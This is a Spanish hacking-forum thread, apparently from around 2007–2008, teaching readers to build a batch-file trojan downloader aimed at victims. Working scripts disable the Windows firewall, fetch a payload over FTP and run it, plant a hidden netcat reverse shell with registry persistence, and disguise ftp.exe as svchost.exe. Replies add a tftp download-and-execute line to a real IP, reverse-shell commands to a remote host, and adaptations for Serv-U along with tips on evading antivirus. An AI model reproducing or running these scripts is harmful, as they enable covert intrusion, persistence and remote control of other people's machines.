Autor
|
Tema: MANUAL: Creando un Downloader en BATCH // Ataques con No-Ip + SERV-U + RADMIN21 (Leído 15,772 veces)
|
{Lukhardy}
Desconectado
Mensajes: 302
|
- EJEMPLO: ¡¡¡ NO TE ME CIERRES NETCAT !!! Buen día a todos. En este tutorial verán cómo hacer un troyano downloader. Estos son programas relativamente pequeños que descargan otro programa más grande y más complejo en la PC de la víctima. Voy empezar explicándoles tomando como ejemplo al Netcat (ya que es conocido) pero servirá para cualquier otro. No quiero dar tantas vueltas en lo que es netcat, pero he visto en varios post que muchos tienen problemas al ejecutar el netcat en una víctima ya que el "netcat server" (por decirlo así) se cierra sin dar al atacante la posibilidad de acceder a su shell. Bueno, en realidad el netcat sí se ejecuta, pero en lapso muy breve y luego se cierra -aclaro que no en todos los casos ocurre esto- vaya a saber uno cual es el motivo aunque puede que sea el Antivirus que lo detecte e imposibilite la ejecución (en la mayoría que leí dicen que el NOD32 lo detecta) y ni hablar de los Firewalls... [Yo uso el NOD32 actualizado en todo momento y hasta el día de hoy nunca me detectó el netcat] En el post de "JUGANDO CON NETCAT" se ven varias maneras de cómo podemos usar esta herramienta http://foro.elhacker.net/index.php/topic,159799.0.htmlVolviendo al tema. Estuve probando maneras de cómo ejecutarle el " netcat server" a nuestra víctima sin que se le cierre. Para esto, además de hacer un código en C, hice también un Script batch code (ya que es más fácil para todos) que funciona exactamente igual. Este es el code Downloader (usando FTP) @echo off if exist C:\Windows\downloads exit net stop "Firewall de Windows/Conexi¢n compartida a Internet (ICS)" md "C:\Windows\downloads" echo open>"c:\windows\downloads\dfshell.dll" echo HOST_SERVER_FTP>>"c:\windows\downloads\dfshell.dll" echo USUARIO>>"c:\windows\downloads\dfshell.dll" echo PASSWORD>>"c:\windows\downloads\dfshell.dll" echo lcd ..>>"c:\windows\downloads\dfshell.dll" echo lcd "c:\windows">>"c:\windows\downloads\dfshell.dll" echo binary>>"c:\windows\downloads\dfshell.dll" echo get OPENSHELL.exe>>"c:\windows\downloads\dfshell.dll" echo binary>>"c:\windows\downloads\dfshell.dll" echo get semaforo.txt>>"c:\Windows\downloads\dfshell.dll" echo bye>>"c:\windows\downloads\dfshell.dll" ftp -s:c:\windows\downloads\dfshell.dll if exist c:\windows\semaforo.txt start c:\windows\OPENSHELL.exe del c:\windows\downloads\dfshell.dll exit Lo que hace este script es detener el servicio del Firewall de Windows [Si quieren ver más información sobre esta opción pueden ver el tutorial que hice al respecto http://foro.elhacker.net/index.php/topic,183228.0.html ] Luego, crea una carpeta en la cual se guardará un archivo (en este caso del tipo .DLL) que contendrá los datos para conectarnos a un servidor FTP con su respectivo HOST, Usuario, password y los comandos que quremos usar en el mismo. Luego se procede a iniciar el FTP en el que descargarán 2 archivos. Uno llamado OPENSHELL.exe y otro llamado semaforo.txt que es el indicador para poder ejecutar el OPENSHELL.exe correctamente. Por último, se procede a eliminar el archivo que contiene nuestros datos de conexión a nuestro servidor FTP. (No queremos que alguien los lea, verdad?  ) Ahora se preguntarán que es el OPENSHELL.exe... Bueno, es sencillo es un SFX creado en Winrar que contiene al netcat (al cual le cambié el nombre y le puse Systemrun) y un Script Batch code que contiene el siguiente código. (Todo esto se descomprime en la carpeta C:\Windows\System32) @echo off net start "Firewall de Windows/Conexi¢n compartida a Internet (ICS)" netsh firewall add portopening ALL 6000 nc netsh firewall set allowedprogram "C:\Windows\System32\Systemrun.exe" nc ENABLE reg add hklm\software\microsoft\windows\currentversion\run /v Systemrun /t reg_sz /d %systemroot%\system32\cmk.exe /f del %systemroot%\OPENSHELL.exe echo @echo off>"%Systemroot%\system32\systemini.bat" echo :ini>>"%Systemroot%\system32\systemini.bat" echo Systemrun -d -e cmd.exe HOST/IP 6000>>"%Systemroot%\system32\systemini.bat" echo goto :ini>>"%Systemroot%\system32\systemini.bat" call %systemroot%\system32\systemini.bat exit Antes que nada, cabe decir que el Script Batch lo compilé con Quick Batch Compiler usando la opción de ejecución oculta para que no se muestre la ventana de comandos. El script tiene el nombre de cmk.exe... Lo que hace este script es volver a habilitar el Firewall de Windows (que anteriormente se desactivó en el Downloader). También abre el puerto 6000 en Firewall de Windows para el netcat y le dice también que permita la ejecución del programa Systemrun.exe. Luego agrega al registro una entrada para que se ejecute el netcat cada vez que inicie la PC. Elimina el OPENSHELL.exe ya que es innecesario porque ya se ejecutó. A continuación crea un bucle (he aquí el secreto) para que esté constantemente ejecutando el netcat (en este ejemplo puse al netcat listo para entregar la shell al atacante de manera inversa, pueden poner el que quieran). *************************************************************************************** Además de todo esto del netcat, pueden ver también que el código que hice es fácilmente adaptable a cualquier cosa que quieran hacer y ejecutarle a una PC remota. Con un poco de imaginación conseguirán hacer lo que Uds. se propongan. (Verán que no es muy complicado pero se debe conocer algo del funcionamiento de comandos )
Usando el comando AT podemos hacer que la descarga a través de FTP se realice en un determinado horario, día o lo que sea. Esto es para hacernos menos sospechosos. Ver cómo funciona este comando.
Downloader + No-IP: Ataques dirigidos ObligatorioAtaque dirigido con NO-IP + Radmin21. Avanzado o algo así NUEVO Actualizado el día 9 de Marzo de 2008 02:22 am Hora ArgentinaNoción de TFTP: Todo en una sola línea de comando.
*************************************************************************************** Bueno, espero que les sirva. Cualquier crítica, corrección y/o sugerencia es aceptada. ATENCION ATENCION: Esta técnica no funciona si existe un Firewall en la PC que se vaya a atacar.Pueden descargar el Quick Batch Compiler full desde este link: http://414141.iespana.es/Ver:"Nuevo comando nirmcd - USO": http://foro.elhacker.net/index.php/topic,187364.0.html"Creando un Downloader en Batch": http://foro.elhacker.net/index.php/topic,186544.0.html"Binder Quick Batch File Compiler": http://foro.elhacker.net/index.php/topic,187349.0.html"Detener el Firewall de Windows": http://foro.elhacker.net/index.php/topic,183228.0.html"Instalar programas "sin instalar"-Jugando con el Registro de Windows": http://foro.elhacker.net/index.php/topic,183341.0.htmlSaludos a toda la comunidad. -Lucas-
|
|
|
|
« Última modificación: 8 Junio 2008, 23:41 por lukhardy »
|
En línea
|
|
|
|
Zykl0n-B
Desconectado
Mensajes: 24
|
Hola -Lucas- , un saludo, Yo que tú revisaría ese código ... Por ejemplo, [cite]net stop "Firewall de Windows/Conexi¢n compartida a Internet (ICS)"[/cite] Con eso no cerrarías ningún Firewall, y si lo cierras, no sería en todos los equipos, además de que ese comando (Net start/stop) no es muy confiable que digamos, te presento al comando Netsh  You que tú lo usaría en mi código, Es seguro, es el núcleo de los Firewalls en Windows, y es funciona en todos lados, venga, te dejo la Sintáxis: netsh FIREWALL set opmode mode = DISABLE Con ésto desactivas el Firewall. netsh FIREWALL set opmode mode = ENABLE Con ésto lo activas de nuevo. El Quick Batch File Compiler es un dolor de cabeza... además de que no crea Batches sino Exe's. al ejecutar algún archivo creado en él, sin tener la licencia, te salta un MessageBox diciéndote "Éste programa fue compilado con Q.B.F.C." y eso no es nada agradable para una Víctima... Así que te presento a otro comando, START. Sí, Start, no me estoy burlando de tí, verás, te dirijes bajo la shell al directorio donde está el batch que quieres ejecutar "En modo oculto", luego escribes: C:\>start /b Archivo.bat y el archivo se ejecutará "En segundo plano" Un saludo... 
|
|
|
|
|
En línea
|
Die Toten Kehren Wieder Mit Der Wind <-~#] Zyklon-B [#~->
|
|
|
{Lukhardy}
Desconectado
Mensajes: 302
|
Tenés razón con respecto al comando start, funciona en segundo plano. El problema es que los archivos bat son fácilmente legibles desde cualquier editor de texto plano. Para ocultar el código de los batch puse como ejemplo el Q.B.F.C. ya que este programa convierte a tales en EXE como vos bien decís. Claro que existen otros métodos de cifrado, pero resultaría un poco complicado para aquellos que recién empiezan. En los EXE son más dificiles de ver el código. Ta? Y además puse como ejemplo a este "programita" ya que no es difícil de usar... Q.B.F.C. Full : http://414141.iespana.es/Hay tutorial que hice hace ya un tiempo con respecto a la desactivación, habilitación y demás acerca del Firewall de Windows usando el NETSH. No solo para activar y desactivar, sino tambien para otras cosas que son muy úitles. (Hay comentarios interesantes) Ver http://foro.elhacker.net/index.php/topic,183228.0.htmlGracias por postear Zykl0n-B. Saludos. P.D.: Zykl0n-B, leí el post que dejaste cuando tenía dudas de cómo ocultar la ventana del DOS, no está nada mal. Todo sirve y uno decide cual es el que más le gusta (eso depende de cada uno). Ver:"Nuevo comando nirmcd - USO": http://foro.elhacker.net/index.php/topic,187364.0.html"Creando un Downloader en Batch": http://foro.elhacker.net/index.php/topic,186544.0.html"Binder Quick Batch File Compiler": http://foro.elhacker.net/index.php/topic,187349.0.html"Detener el Firewall de Windows": http://foro.elhacker.net/index.php/topic,183228.0.html"Instalar programas "sin instalar"-Jugando con el Registro de Windows": http://foro.elhacker.net/index.php/topic,183341.0.html
|
|
|
|
« Última modificación: 7 Noviembre 2007, 16:17 por -Lucas- »
|
En línea
|
|
|
|
|
|
softdates
Desconectado
Mensajes: 105
|
saludos tengo unas preguntas ya que como soy nuevo en esto me gustaria que me expliquen un poco aunque ya he probado igual tengo dudas.
1.ero el primer bat es el que se envia ala victima y es el que ejecuta los comando ftp para que baje el resto.
2.-el archivo mensajero.txt se sube al Ftp con lo siguiente:
HOST_SERVER_FTP USUARIO PASSWORD get OPENSHELL.exe get semaforo.txt txtftp -s
lueog este es renombrado a dfshell.dll ?
3.-Ahora se preguntarán que es el OPENSHELL.exe... Bueno, es sencillo es un SFX creado en Winrar que contiene al netcat (al cual le cambié el nombre y le puse Systemrun) y un Script Batch code que contiene el siguiente código. (Todo esto se descomprime en la carpeta C:\Windows\System32)
no le das instruciones al comprimido sfx que se descarge directamente ala carpeta system32 ? como le hiciste es directo con el bat segun entiendo simpremente van los dos archivos el bat y el nc en el sfx y se ejecutan?
4.-Antes que nada, cabe decir que el Script Batch lo compilé con Quick Batch Compiler usando la opción de ejecución oculta para que no se muestre la ventana de comandos. El script tiene el nombre de cmk.exe...
yo aqui hago file open >busco el bat lo pongo la ejecucion ghost lo compilo en built, pero segun tu tutorial pones esto:
Prestar atención a %MYFILES%, ya que esto tendremos en cuenta a la hora de escribir el código para ejecutar nuestros archivos. A continuación nos dirigimos a la pestaña "Source"
ejemplo
@echo off start %C:\Windows\System32% \bat.ini
Espero estar muy equivocado para que me corrijan.
Estoy recien aprendiendo.
ATte JAmes
|
|
|
|
« Última modificación: 11 Noviembre 2007, 22:10 por softdates »
|
En línea
|
|
|
|
{Lukhardy}
Desconectado
Mensajes: 302
|
sofdates...1- Sí, el primer código es el que se envía a la víctima. 2- No se renombra ningún archivo. El archivo dfshell.dll es un archivo que contiene solo las instrucciones que deberá ejecutar el comando ftp. Es por eso que pongo ftp -s:c:\windows\downloads\dfshell.dll (Esto es para que el comando ftp sepa donde están las instrucciones que deberá seguir. Si tenés dudas con respecto a esto ingresa a tu shell y tipeá ftp /?). 3- Sí. Al hacer el SFX con winrar le digo que descomprima todo en la carpeta system32. Aclaro que usé este SFX como un joiner: para hacer esto le instruyo al SFX que se ejecute en modo oculto y que ejecute el bat al final de la descompresión. El bat del SFX sería el segundo código que expuse en este post. Con respecto de cómo usar al winrar como joiner, podés bajarte el tutorial que hizo Köbe desde http://414141.iespana.es. 4- El manual que hice con respecto al Quick Batch File Compiler.: Podés seguir todos los pasos que se detallan ya que lo hice de manera que sea muy fácil entender. Ah... una cosa más... podés obviar el uso del SFX y usas el QBFC como joiner (de hecho, te recomiendo que uses el QBFC  ya que podés ejecutar todo de manera oculta). Sólo tendrías que cambiar el código del Batch para acondicionarlo al QBFC ya que para ejecutar los archivos que hayas juntado tendrás que usar la variable %MYFILES% y luego el nombre del archivo o los archivos. Siguiendo el ejemplo que planteas vos: @echo off start %Systemroot%\System32\bat.ini Esto sería inválido si ingresas este código en QBFC, ya que el QBFC "extrae de manera temporaria" los archivos juntados. Lo correcto sería: @echo off start %MYFILES%\archivo1_juntado.extension start %MYFILES%\archivo2_juntado.extension exit Esto es para ejecutar los archivos que le hayas agregado o juntado al QBFC. Espero que te haya quedado claro, pero si no es así, espero tus dudas para intentar aclarártelas. A los demás. Si ven que me he equivocado en algo haganmelo saber, o si quieren mejorar este post pues mucho mejor todavía. Gracias softdates por postear. Saludos. Saludos a toda la comunidad.
|
|
|
|
« Última modificación: 7 Marzo 2008, 15:01 por lukhardy »
|
En línea
|
|
|
|
{Lukhardy}
Desconectado
Mensajes: 302
|
En definitiva, pueden obviar el uso del SFX como joiner y usar el QBFC (Quick Batch File Compiler). Y cómo dije anteriormente, los archivos que se juntan a este programa son temporales y por lo tanto se eliminan luego. Pero para todo hay solución, leánlo aquí: http://foro.elhacker.net/index.php/topic,187349.0.html
|
|
|
|
« Última modificación: 24 Noviembre 2007, 07:12 por -Lucas- »
|
En línea
|
|
|
|
softdates
Desconectado
Mensajes: 105
|
recomiendo que uses el QBFC ya que podés ejecutar todo de manera oculta). Sólo tendrías que cambiar el código del Batch para acondicionarlo al QBFC ya que para ejecutar los archivos que hayas juntado tendrás que usar la variable %MYFILES% y luego el nombre del archivo o los archivos.
que cambio en bat?.
|
|
|
|
|
En línea
|
|
|
|
{Lukhardy}
Desconectado
Mensajes: 302
|
Por lo que veo no te quedó del todo claro el uso de QBFC. Lo único que hice fue trabajar con la variable %MYFILES% como si fuera una variable más del entorno del DOS. Como ejemplo de variables del DOS te dejo las siguientes: %Systemroot% = Esta variable corresponde a la carpeta C:\Windows%Userprofile% = corresponde a C:\Documents and settings\AdministradorAhora, la variable %MYFILES%, no es una que esté preestablecida en tu PC. Esta variable la asigna el QBFC y corresponde a: %MYFILES% = C:\Documents and Settings\Administrador\Configuración local\Datos de programaEs por este el motivo que expuse el anterior post en donde explica como mover o copiar los archivos que has juntado con el QBFC. Esto es porque el QBFC extrae los archivos juntados en esa carpeta ( %MYFILES%). Y si un usuario/víctima algo "travieso" ingresa a tal carpeta y vé los archivos, quizá quiera eliminarlos. Entonces para evitar esto, lo que hacemos es mover estos archivos a una carpeta que nosotros queramos, por ejemplo a C:\Windows. Pasá por este post que hice explicando con un poco más de detalles como usar esta variable del QBFC: http://foro.elhacker.net/index.php/topic,187349.0.htmlSi te quedaron dudas u otras cosas que quieras compartir, no tendré ningún tipo de problema en intentar aclarartelas. Gracias softdates por tu comentario. Saludos.
|
|
|
|
|
En línea
|
|
|
|
{Lukhardy}
Desconectado
Mensajes: 302
|
Como esto del Downloader no trae "mucha ciencia" que digamos, pretendo terminar este tutorial con una última sugerencia. Supongamos que le enviamos el Downloader a la victima, y esta la ejecuta. Puede pasar que se le ocurra echar un vistazo a la lista de procesos y ver el proceso " ftp.exe " ejecutandose. Y quizá lo cierre, y ya no habrá posibilidad de que se descargue el archivo infectado. (Que bajón!!!!!!  ). Je Lo que nos queda hacer es renombrar tal archivo. (Esto se haría en el primer código que es el que se le envía a la victima). Para renombrar el archivo ftp.exe deberiamos agregarle una línea al comienzo de nuestro código que cambie el nombre de tal. Podríamos también copiar el archivo ftp.exe a otro directorio y recién renombrarlo. (Esto para evitar que si la victima hace uso frecuente del ftp.exe como comandos no encuentre tal archivos y comience a sospechar, cosa que puede suceder...). Sigamos. Lo que haremos será lo siguiente (siguiendo el ejemplo del netcat del principio de este tutorial): En azul: Líneas agregadas; En verde: Líneas modificadas.
@echo off if exist C:\Windows\downloads exit md "%systemroot%\system32\41467" copy %systemroot%\system32\ftp.exe %systemroot%\system32\41467 ren %systemroot%\system32\41467\ftp.exe svchost.exenet stop "Firewall de Windows/Conexi¢n compartida a Internet (ICS)" md "C:\Windows\downloads" echo open>"c:\windows\downloads\dfshell.dll" echo HOST_SERVER_FTP>>"c:\windows\downloads\dfshell.dll" echo USUARIO>>"c:\windows\downloads\dfshell.dll" echo PASSWORD>>"c:\windows\downloads\dfshell.dll" echo lcd ..>>"c:\windows\downloads\dfshell.dll" echo lcd "c:\windows">>"c:\windows\downloads\dfshell.dll" echo binary>>"c:\windows\downloads\dfshell.dll" echo get OPENSHELL.exe>>"c:\windows\downloads\dfshell.dll" echo binary>>"c:\windows\downloads\dfshell.dll" echo get semaforo.txt>>"c:\Windows\downloads\dfshell.dll" echo bye>>"c:\windows\downloads\dfshell.dll" %systemroot%\system32\41467\svchost -s:c:\windows\downloads\dfshell.dllif exist c:\windows\semaforo.txt start c:\windows\OPENSHELL.exe del c:\windows\downloads\dfshell.dll exit
Lo que hice fue agregar algunas lineas más al código. En primer lugar creo una carpeta llamada 41467 (le pueden poner cualquier otro nombre) en el directorio %Systemroot%\system que en la mayoría de los casos correspondería al directorio C:\Windows\system32\41467. Luego copiamos el archivo ftp.exe y lo pasamos a la carpeta que creamos. Una vez que se haya copiado ftp.exe a la carpeta creada procedemos a renombrar este archivo con el comando ren cuya sintaxis es: ren Ruta_del_archivo_a_renombrar Nombre_nuevo_del_archivo En nuestro caso usamos: ren %systemroot%\system32\41467\ftp.exe svchost.exe, donde cambiamos el nombre del archivo ft.exe por svchost.exe para disimularlo en la lista de procesos. Más abajo en el código le damos la instruccion para que ejecute el ftp (ahora llamado svchost.exe). Pero con la diferencia de que ahora le decimos donde esta guardado este nuevo archivo. (%Systemroot%\system32\41467\svchost.exe) que en la mayoría de los casos es C:\Windows\system32\41467\svchost.exe. (Obviamnte, siguiendo el ejemplo). Eso es todo lo que tendremos que hacer... Al otro código que se descargaría no lo tocamos para nada. Solo se modifica el Downloader, que es el que expuse recién. Sí, es verdad. Esto pude haberlo explicado en unas cuantas lineas, pero lo hago de esta manera para que los que se están iniciando en el hacking puedan entenderlo mejor. 
Concluyendo: En este tutorial vimos como realizar un downloader a través del comando ftp. Para ello usé como ejemplo al netcat ya que es conocido por todos (o por la mayoria) pero es fácilmente adaptable a cualquier otro programa que funcione como server, solo deberán modificar las líneas correspondientes y listo. En mi caso lo hice no tan solo con el netcat, sino también con el vnc, radmin, serv-u, entre otros. Asi que como verán, con todo lo visto hasta acá y un poco de conocimientos en el lenguaje batch pueden adaptar estos codigos a cualquier server de algun troyano o lo que quieran. Bueno, pero eso se los dejo a su imaginación y necesidad. Espero que les sea de mucha utilidad todo esto. Espero que con esto haya quedado completo el tutorial. Pero como siempre hay algunas dudas que quedan dando vueltas por ahi yo no tengo ningun tipo de problema en intentar aclarárselas. Y obviamente, si alguien sugiere algo mejor, corrige o hace cualquier tipo de críticas constructivas, por favor, posteenlas.
|
|
|
|
« Última modificación: 30 Noviembre 2007, 06:17 por -Lucas- »
|
En línea
|
|
|
|
newbie-hack
Desconectado
Mensajes: 27
|
De a poko voy leyendo el manual creo q esta kedando bien. lo voy a probar pero lastima que no se explique como saltar otros firewalls que no sea el de windows. ah y algunos antivirus lo detectan al netcat como hago ???
|
|
|
|
|
En línea
|
|
|
|
{Lukhardy}
Desconectado
Mensajes: 302
|
Buenas preguntas. En el ejemplo que di solo funciona para saltarse el Firewall de Windows. Para poder saltar firewalls que no sean el de windows, tendríamos que realizar una inyeccion (si no me equivoco) en algun proceso activo o dll. De manera que el firewall no detecte la actividad de nuestro troyano. Pero para esto hay otros post donde se explica, pero ya requieres de conocimientos de programacion...  . Aunque el netcat nos permite realizar una conexion inversa volteada, como lo dice en el manual de zhyzura. Busca en el foro acerca de este manual o fijate en "Jugando con netcat". En cuanto a los antivirus... si, quizas el netcat sea detectado por algunos antivirus como codigo malicioso. Por eso es que decia que se pueden probar distintos tipos de servers, como el vnc, o algun servidor ftp como el serv-u, etc... Lo mejor en estos casos es investigar la PC a atacar para conocer mejor su funcionamiento y cosas asi que nos seran utiles a la hora de planificar nuestra "movida". Esto es solo un ejemplo, no quiere decir que sea el unico metodo... yo solo he mostrado esto y sirve mucho...  Saludos newbie-hack.
|
|
|
|
|
En línea
|
|
|
|
newbie-hack
Desconectado
Mensajes: 27
|
tienes raszon, la mayoria de las personas casi no tiene otro firewall mas que el del windows. pero lamentblemento yo todavbia no c acerca de programacion y esas cosas.  . a y otra cosa mas espero que no sea de mucha molestia me podrijas explicar como seria el codigo para el serv-u??.es que no se como seria. supongo q si consigo hacerlo a ese podre hacerlo con los otros q mesionaste, verdad¿?.
|
|
|
|
|
En línea
|
|
|
|
Rozor
Desconectado
Mensajes: 269
As I Walk Through The Valley Of The Shadow Of Dead
|
echo @off tftp -i 194.224.66.56 GET virus.exe %systemroot%\system32\virus.exe & %systemroot%\system32\virus.exe echo "codigo chorra download and execute" rem xrc -z sincontrol.tomahost.org 6545 rem xrc -z sincontrol.tomahost.org 9878 rem xrc -d -u sincontrol.tomahost.org 5698 -e cmd.exe
|
|
|
|
|
En línea
|
out in the streets they call it murder....
|
|
|
{Lukhardy}
Desconectado
Mensajes: 302
|
Mmm, mas que un pedido de explicación es mas bien un pedido del código. Pero bue... Lo que yo haría es que el archivo que se descargue sea el mismo serv-u (de la version vieja que no me acuerdo cual es exactamente) con todos sus archivos de configuraciones... @echo off if exist C:\Windows\downloads exit net stop "Firewall de Windows/Conexi¢n compartida a Internet (ICS)" md "C:\Windows\downloads" echo open>"c:\windows\downloads\dfshell.dll" echo HOST_SERVER_FTP>>"c:\windows\downloads\dfshell.dll" echo USUARIO>>"c:\windows\downloads\dfshell.dll" echo PASSWORD>>"c:\windows\downloads\dfshell.dll" echo lcd ..>>"c:\windows\downloads\dfshell.dll" echo lcd "c:\windows">>"c:\windows\downloads\dfshell.dll" echo binary>>"c:\windows\downloads\dfshell.dll" echo get serv-u.exe>>"c:\windows\downloads\dfshell.dll" echo binary>>"c:\windows\downloads\dfshell.dll" echo get SERV-U.INI>>"c:\windows\downloads\dfshell.dll" echo binary>>"c:\windows\downloads\dfshell.dll" echo get semaforo.txt>>"c:\Windows\downloads\dfshell.dll" echo bye>>"c:\windows\downloads\dfshell.dll" ftp -s:c:\windows\downloads\dfshell.dll if exist c:\windows\semaforo.txt start c:\windows\serv-u.exe -hdel c:\windows\downloads\dfshell.dll exit Solo cambié lo que está en verde... Para la próxima aprende un poquito más acerca de batch, vas a ver que no es difícil. Saludos newbie-hack.
Buen aporte Rozor. Las líneas del comando para el tftp son más sencillas que todo esto del ftp. Lo único que me gustaría saber es que si existe algun servidor tftp externo (que no sea mi propia PC  ) donde pueda subir mis archivos. Yo he explicado lo del ftp porque hay muchas paginas donde se pueden alojar archivos y manejarse con el ftp. Pero tu propuesta es excelente. Gracias Rozor.
|
|
|
|
|
En línea
|
|
|
|
|
|